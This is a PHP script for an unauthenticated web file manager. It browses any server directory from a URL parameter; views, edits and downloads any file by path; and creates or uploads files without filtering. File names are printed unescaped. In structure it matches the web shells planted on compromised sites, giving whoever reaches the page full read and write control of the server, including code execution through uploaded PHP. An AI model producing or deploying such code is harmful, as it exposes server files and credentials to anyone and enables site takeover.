<?php

// Function to recursively list directories and files
function listDirectory($dir) {
    $files = scandir($dir);

    echo "<h2>Directory: $dir</h2>";

    $parentDir = dirname($dir);
    if ($dir !== '/') {
        echo "<a class='btn' href='?dir=" . urlencode($parentDir) . "'>Go Back</a><br>";
    }

    echo "<form method='post'>
            <input type='text' name='new_file_name' placeholder='Enter new file name' required>
            <input class='btn' type='submit' name='create_file' value='Create File'>
        </form><br>";

    echo "<form method='post' enctype='multipart/form-data'>
            <input type='file' name='file_to_upload' required>
            <input class='btn' type='submit' name='upload_file' value='Upload File'>
        </form><br>";

    echo "<ul class='file-list'>";
    foreach ($files as $file) {
        if ($file !== '.' && $file !== '..') {
            $fullPath = "$dir/$file";
            if (is_dir($fullPath)) {
                echo "<li class='directory'>[DIR] <a href='?dir=" . urlencode($fullPath) . "'>$file</a></li>";
            } else {
                echo "<li class='file'>
                    [FILE] $file 
                    <a class='btn' href='?view=" . urlencode($fullPath) . "'>View</a> 
                    <a class='btn' href='?edit=" . urlencode($fullPath) . "'>Edit</a>
                    <a class='btn' href='?download=" . urlencode($fullPath) . "'>Download</a>
                </li>";
            }
        }
    }
    echo "</ul>";
}

// Function to create a new file
function createFile($dir, $fileName) {
    $filePath = "$dir/$fileName";
    if (!file_exists($filePath)) {
        file_put_contents($filePath, ""); 
        echo "<p class='success'>File '$fileName' created successfully!</p>";
    } else {
        echo "<p class='error'>File '$fileName' already exists.</p>";
    }
}

// Function to upload a file
function uploadFile($dir) {
    if (isset($_FILES['file_to_upload']) && $_FILES['file_to_upload']['error'] == 0) {
        $uploadFilePath = $dir . '/' . basename($_FILES['file_to_upload']['name']);
        if (move_uploaded_file($_FILES['file_to_upload']['tmp_name'], $uploadFilePath)) {
            echo "<p class='success'>File '" . basename($_FILES['file_to_upload']['name']) . "' uploaded successfully!</p>";
        } else {
            echo "<p class='error'>Failed to upload file.</p>";
        }
    } else {
        echo "<p class='error'>No file selected or there was an error during the upload.</p>";
    }
}

// Function to download a file
function downloadFile($filePath) {
    if (file_exists($filePath) && is_file($filePath)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($filePath) . '"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($filePath));
        readfile($filePath);
        exit;
    } else {
        echo "<p class='error'>File not found.</p>";
    }
}

// Function to view file content
function viewFile($filePath) {
    if (file_exists($filePath) && is_file($filePath)) {
        $content = htmlspecialchars(file_get_contents($filePath));
        echo "<h2>Viewing File: $filePath</h2>";
        echo "<pre class='file-content'>$content</pre>";
        echo "<a class='btn' href='?dir=" . urlencode(dirname($filePath)) . "'>Back to Directory</a>";
    } else {
        echo "<p class='error'>File not found.</p>";
    }
}

// Function to edit file content
function editFile($filePath) {
    if (isset($_POST['content'])) {
        file_put_contents($filePath, $_POST['content']);
        echo "<p class='success'>File saved successfully!</p>";
    }

    $content = htmlspecialchars(file_get_contents($filePath));
    echo "<h2>Editing File: $filePath</h2>";
    echo "<form method='post'>
            <textarea name='content' class='file-edit'>$content</textarea><br>
            <input class='btn' type='submit' value='Save Changes'>
        </form>";
    echo "<a class='btn' href='?dir=" . urlencode(dirname($filePath)) . "'>Back to Directory</a>";
}

// Determine what action to take
if (isset($_GET['download'])) {
    $filePath = realpath($_GET['download']);
    downloadFile($filePath);
} elseif (isset($_GET['view'])) {
    $filePath = realpath($_GET['view']);
    viewFile($filePath);
} elseif (isset($_GET['edit'])) {
    $filePath = realpath($_GET['edit']);
    editFile($filePath);
} elseif (isset($_POST['create_file']) && !empty($_POST['new_file_name'])) {
    $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.';
    $currentDir = realpath($currentDir);
    createFile($currentDir, $_POST['new_file_name']);
    listDirectory($currentDir);
} elseif (isset($_POST['upload_file'])) {
    $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.';
    $currentDir = realpath($currentDir);
    uploadFile($currentDir);
    listDirectory($currentDir);
} else {
    $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.';
    $currentDir = realpath($currentDir);
    if ($currentDir === false || !is_dir($currentDir)) {
        die('Invalid directory.');
    }
    listDirectory($currentDir);
}
?>
